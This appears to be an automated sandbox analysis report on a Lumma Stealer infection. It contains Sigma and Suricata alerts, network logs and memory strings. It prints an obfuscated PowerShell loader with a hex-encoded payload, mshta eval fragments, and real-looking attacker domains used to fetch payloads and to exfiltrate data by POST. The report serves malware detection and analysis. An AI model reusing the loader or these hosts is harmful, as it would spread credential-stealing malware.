8BB3BD0F3DB16EAABE36CD48798812B320FEA85CA4F71867DC6D48582D5777965011C7B4801FB2CDB18E83428C7808F638DAAF946C009B3F07F09FF06C12C76831DD7747D232DFD24FB9801CADBFD5E5EC908A1E51EC88CDE84AF039CE48EFE74A558CA4CBD92F3BCFA89B2AA00759AF0A0859F3F4ED35DBE2626C1F3844FACFBE69C3AF62DE312661FA0A1C9EF460D20A5D199852B92C4883BFF88E5B2F1FDABA90D71163E5DDB1A17351D3D569C380BD9B27019E63CAD3FBC9C1BF7848CF286360E4C58DC0982C67C6AEF5785616C9877FDCC9B73B1A787A21FBB8F5F7E06CCEF0CBA53610C8E0459F28EE99160390976D4765E779A2A809EC1AB4F2D73A45E246DFF920777B514611903535C5ED407ADDBF093B0601148111BDF803C8B56E525FA9858F48A247B21967016E863E2168D3C4E89C41F15B44CEDBF3C30A49DB22F27A6E8D16F4FDB02943C76ACD372022387AC294C26B60DAF5F676870DAA3C0FB0B090D7996806834504CCE1C17B4E8229467DA457082CAF7F79AC294EB12BF534C76E52C69F0E157B56FD8069B76BDB2EED8385CD903FA7A13DA82CDBF4E8A8CF38A0A2E5F4242E1C26E5BCB6F3AF8E2445C1B494CCB5C69DC58B7746F0C79D2DA716530BDCA02459C015DBB2ABEA4BECB26097E41CE2FBD300A920FD18318366C5D4B7A04C833A236496C4C8A6188EE9A72760FA54EB5221B2960085B7A18CBB9E11E7CC4689666D213681E9A7D41F02061038A45FF0FE8EBBC097E9B2E8CAC4EDF3BF43758115832CE1E28283D795091E9DAAAC752BD4A4516CE6DDB72B53E8186CA1A4D77D156AFBE03BE987790E9776784A6E70627F727ED765D7F51E83778A499E2FF2CD51DA0DBFD933914AEF22FD2CDEAEB1305C5570317DB8D7475A9AD738EBF387927CED9E50E2B520DD916ED2A173D9E003B4C8EF8F37E793194E4E01D9D0CF44488AFE08088233788987E7EF92C4EA59C09AE3C6978D85B80137C2B4DC42B109F4299AB74B6133D2390EB63B68D01047C56B1C0BAD51059ED21678A8D190F8061EF4644822357A50DF94B8A4E44A6420B241971988F3D27094F5CC39FE50EFB4536F7FF84CB61206C5799806EE78F9E92132F0629C8062B57966710BDE9EF5D86960E07F6CAC367FC1C647D09612B8C1B9FCADAD251FDD08F3143C2A62095850DE26FAB05330A6052FC0C7B88A7633F8EB38E499149753BB3838C0CFCDFD806F53E3DF94F3B82207E016C20A230EA548FAAA34253FDA1400710D76D7406BAE6A40B73B79AD689C21A5D886E4AF2806C14F3364355409B48AF74043DA8F661C1504E41E526A00634CB7BE67747BCECEB4FDFBB3CAB9FA8A9889564D5F64BEF7D5626DA881E86F666BDFA8158678EDB2A26053A13025B2AE8B26218E13D

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ERrXH($NPRZ){return -split ($NPRZ -replace '..', '0x$& ')};$ZMcko = ERrXH('6C99A336230E5A2C9C9A564A467FCC7257DD8D73078CDDBE02A1C1E1CFEDEF1F69966C54CB1E0285E1AC81545FC7B37E41947EEF4312D686A1E5ECA561E4B330B6BA4E39137E46B1CF88F17B1CB79DDD3D8F77137F26D2026351102801E1B8EE83DC3C63D271BF7B2D32A103440FFAF27E51B9A655BC0FF4EAF17755211742BE41D6E00A001C4AB1700E496BCEB4C89D00508B0B68540C20C935204C74F180AA8B22C7493BDE52C7E082CAA9BE5DA2E40EDA75A53BD815D984B8564B6C5038B4A08214FF76BAA31263424BB9E93A9CE0F6F32C5E9C04A3878210984A5C49EF44488BBF880C62CFC91A641624C5D3BBD2FC8D663749EC8640E19E84846FD13EBD37FE167ECAADF42A3A5F25585727DE5C37C223ECF8D8B397DCD90774ADCB0FD58898F52117E75CF08D8FF61DB1811D9B84EFF315D837D713331AFE66E19BFD84FF8BA54B199FCB0269CBE56507C12EA8637FEA0A67B6D12314008A1A25D934DBDC48FA684F23E9C501CDA3D6EDD7E1DB27877FEBE1B1434E17BC899F36D51BA739F6507615383E3B76DC4DA7CF7DB096F71CD34EF427E409688C24F8BB3BD0F3DB16EAABE36CD48798812B320FEA85CA4F71867DC6D48582D5777965011C7B4801FB2CDB18E83428C7808F638DAAF946C009B3F07F09FF06C12C76831DD7747D232DFD24FB9801CADBFD5E5EC908A1E51EC88CDE84AF039CE48EFE74A558CA4CBD92F3BCFA89B2AA00759AF0A0859F3F4ED35DBE2626C1F3844FACFBE69C3AF62DE312661FA0A1C9EF460D20A5D199852B92C4883BFF88E5B2F1FDABA90D71163E5DDB1A17351D3D569C380BD9B27019E63CAD3FBC9C1BF7848CF286360E4C58DC0982C67C6AEF5785616C9877FDCC9B73B1A787A21FBB8F5F7E06CCEF0CBA53610C8E0459F28EE99160390976D4765E779A2A809EC1AB4F2D73A45E246DFF920777B514611903535C5ED407ADDBF093B0601148111BDF803C8B56E525FA9858F48A247B21967016E863E2168D3C4E89C41F15B44CEDBF3C30A49DB22F27A6E8D16F4FDB02943C76ACD372022387AC294C26B60DAF5F676870DAA3C0FB0B090D7996806834504CCE1C17B4E8229467DA457082CAF7F79AC294EB12BF534C76E52C69F0E157B56FD8069B76BDB2EED8385CD903FA7A13DA82CDBF4E8A8CF38A0A2E5F4242E1C26E5BCB6F3AF8E2445C1B494CCB5C69DC58B7746F0C79D2DA716530BDCA02459C015DBB2ABEA4BECB26097E41CE2FBD300A920FD18318366C5D4B7A04C833A236496C4C8A6188EE9A72760FA54EB5221B2960085B7A18CBB9E11E7CC4689666D213681E9A7D41F02061038A45FF0FE8EBBC097E9B2E8CAC4EDF3BF43758115832CE1E28283D795091E9DAAAC752BD4A4516CE6DDB72B53E8186CA1A4D77D156AFBE03BE987790E9776784A6E70627F727ED765D7F51E83778A499E2FF2CD51DA0DBFD933914AEF22FD2CDEAEB1305C5570317DB8D7475A9AD738EBF387927CED9E50E2B520DD916ED2A173D9E003B4C8EF8F37E793194E4E01D9D0CF44488AFE08088233788987E7EF92C4EA59C09AE3C6978D85B80137C2B4DC42B109F4299AB74B6133D2390EB63B68D01047C56B1C0BAD51059ED21678A8D190F8061EF4644822357A50DF94B8A4E44A6420B241971988F3D27094F5CC39FE50EFB4536F7FF84CB61206C5799806EE78F9E92132F0629C8062B57966710BDE9EF5D86960E07F6CAC367FC1C647D09612B8C1B9FCADAD251FDD08F3143C2A62095850DE26FAB05330A6052FC0C7B88A7633F8EB38E499149753BB3838C0CFCDFD806F53E3DF94F3B82207E016C20A230EA548FAAA34253FDA1400710D76D7406BAE6A40B73B79AD689C21A5D886E4AF2806C14F3364355409B48AF74043DA8F661C1504E41E526A00634CB7BE67747BCECEB4FDFBB3CAB9FA8A9889564D5F64BEF7D5626DA881E86F666BDFA8158678EDB2A26053A13025B2AE8B26218E13D

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T20:15:17.320337+0100	2028371	3	Unknown Traffic	192.168.2.4	49820	172.67.151.193	443	TCP
2024-12-21T20:15:30.559614+0100	2028371	3	Unknown Traffic	192.168.2.4	49821	172.67.151.193	443	TCP
2024-12-21T20:15:33.167030+0100	2028371	3	Unknown Traffic	192.168.2.4	49822	172.67.151.193	443	TCP
2024-12-21T20:15:35.427327+0100	2028371	3	Unknown Traffic	192.168.2.4	49823	172.67.151.193	443	TCP
2024-12-21T20:15:37.627879+0100	2028371	3	Unknown Traffic	192.168.2.4	49824	172.67.151.193	443	TCP
2024-12-21T20:15:39.914752+0100	2028371	3	Unknown Traffic	192.168.2.4	49825	172.67.151.193	443	TCP
2024-12-21T20:15:42.264208+0100	2028371	3	Unknown Traffic	192.168.2.4	49826	172.67.151.193	443	TCP
2024-12-21T20:15:43.815217+0100	2028371	3	Unknown Traffic	192.168.2.4	49827	172.67.151.193	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T20:15:29.277426+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49820	172.67.151.193	443	TCP
2024-12-21T20:15:31.626648+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49821	172.67.151.193	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T20:15:29.277426+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49820	172.67.151.193	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T20:15:31.626648+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49821	172.67.151.193	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T20:15:43.119694+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49826	172.67.151.193	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.18.182:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.183.27:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.4:49826 version: TLS 1.2

Source:	Binary string: protobuf-net.pdbSHA256}Lq source: powershell.exe, 00000006.00000002.2728791502.0000000008FA0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: powershell.exe, 00000006.00000002.2728791502.0000000008FA0000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 077FA4CAh	6_2_077FA450
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 077FA4CAh	6_2_077FA691
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 077F7C26h	6_2_077F7878
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 077FA4CAh	6_2_077FA440
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 077F7C26h	6_2_077F7888

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49821 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49821 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49820 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49820 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49826 -> 172.67.151.193:443

Source: global traffic

HTTP traffic detected: GET /hubus.xlm HTTP/1.1Host: atsuka.thrivezest.orgConnection: Keep-Alive

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49820 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49821 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49827 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49825 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49822 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49823 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49824 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49826 -> 172.67.151.193:443

Source: global traffic	HTTP traffic detected: GET /awjxs.captcha HTTP/1.1Accept: /Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: solve.fizq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /winwidgetshp.json HTTP/1.1Accept: /Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: atsukaa.thrivezest.org
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: locketplyxx.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 80Host: locketplyxx.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=A68GT5UNDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18110Host: locketplyxx.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=VNXJOJS592EHRELIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8773Host: locketplyxx.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BWQXN3MR8YL0TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20408Host: locketplyxx.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ZNDRC0WEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1199Host: locketplyxx.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QTRNNL8AAPBPJ18XQIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1129Host: locketplyxx.click

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /awjxs.captcha HTTP/1.1Accept: /Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: solve.fizq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /winwidgetshp.json HTTP/1.1Accept: /Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: atsukaa.thrivezest.org
Source: global traffic	HTTP traffic detected: GET /hubus.xlm HTTP/1.1Host: atsuka.thrivezest.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: solve.fizq.net
Source: global traffic	DNS traffic detected: DNS query: atsukaa.thrivezest.org
Source: global traffic	DNS traffic detected: DNS query: atsuka.thrivezest.org
Source: global traffic	DNS traffic detected: DNS query: locketplyxx.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: locketplyxx.click

Source: powershell.exe, 00000006.00000002.2722957905.0000000007AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microXz
Source: powershell.exe, 00000006.00000002.2683246502.0000000003561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000004.00000002.1759303262.0000000005E7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2688123535.00000000063DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.2688123535.00000000054C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.1756039105.0000000004E11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2688123535.0000000005371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.2688123535.00000000054C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.1756039105.0000000004E11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2688123535.0000000005371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000004.00000002.1756039105.00000000050A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atsuka.thri
Source: powershell.exe, 00000006.00000002.2688123535.00000000054C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atsuka.thrivezest.org
Source: powershell.exe, 00000006.00000002.2722957905.0000000007AD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsuka.thrivezest.org/hubus.xlm
Source: powershell.exe, 00000004.00000002.1752567349.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsukaMicrosoft.PowerShell.Utility.psd1
Source: mshta.exe, 00000002.00000003.1771739310.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1778219952.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780742700.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769456285.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1693843540.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777417643.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/
Source: mshta.exe, 00000002.00000003.1693843540.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/5
Source: mshta.exe, 00000002.00000003.1693843540.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/=
Source: mshta.exe, 00000002.00000003.1693843540.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/A
Source: mshta.exe, 00000002.00000003.1777417643.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1772347259.000000000A689000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/winwidgetshp.json
Source: mshta.exe, 00000002.00000003.1693843540.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/winwidgetshp.json$
Source: mshta.exe, 00000002.00000003.1771739310.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1778219952.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780742700.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769456285.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777417643.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/winwidgetshp.json.
Source: mshta.exe, 00000002.00000003.1771739310.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1778219952.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780742700.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769456285.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769853728.0000000002851000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777417643.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/winwidgetshp.json...
Source: mshta.exe, 00000002.00000002.1780566253.0000000002851000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/winwidgetshp.json...#
Source: mshta.exe, 00000002.00000003.1771739310.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1778219952.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780742700.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769456285.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777417643.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/winwidgetshp.json..z
Source: mshta.exe, 00000002.00000003.1771480219.0000000006022000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1781742973.0000000006024000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1778187959.0000000006024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/winwidgetshp.jsonLMEMh
Source: mshta.exe, 00000002.00000002.1780491808.0000000002802000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777514381.0000000002801000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/winwidgetshp.jsonetCookiesx
Source: mshta.exe, 00000002.00000003.1778635657.0000000009484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/winwidgetshp.jsoneval(GbaEXk.replace(/(..)./g
Source: mshta.exe, 00000002.00000003.1771739310.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1778219952.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780742700.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769456285.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777417643.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/winwidgetshp.jsonf
Source: mshta.exe, 00000002.00000003.1778635657.0000000009475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/winwidgetshp.jsonhttps://atsukaa.thrivezest.org/winwidgetshp.json
Source: mshta.exe, 00000002.00000003.1778635657.0000000009484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/winwidgetshp.jsonhttps://atsukaa.thrivezest.org/winwidgetshp.jsonhttp
Source: mshta.exe, 00000002.00000003.1778044565.000000000286D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769853728.000000000286D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780645994.000000000286D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/winwidgetshp.jsonnC:
Source: mshta.exe, 00000002.00000003.1777514381.000000000282C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780491808.000000000282C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/winwidgetshp.jsonstoryHistory.IE5x
Source: mshta.exe, 00000002.00000003.1771739310.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1778219952.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780742700.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769456285.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777417643.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/winwidgetshp.jsont
Source: mshta.exe, 00000002.00000003.1771739310.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1778219952.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780742700.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769456285.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1693843540.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777417643.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atsukaa.thrivezest.org/winwidgetshp.jsonz
Source: powershell.exe, 00000006.00000002.2688123535.00000000063DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.2688123535.00000000063DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.2688123535.00000000063DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.2688123535.00000000054C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000006.00000002.2728791502.0000000008FA0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: powershell.exe, 00000006.00000002.2728791502.0000000008FA0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: powershell.exe, 00000006.00000002.2728791502.0000000008FA0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
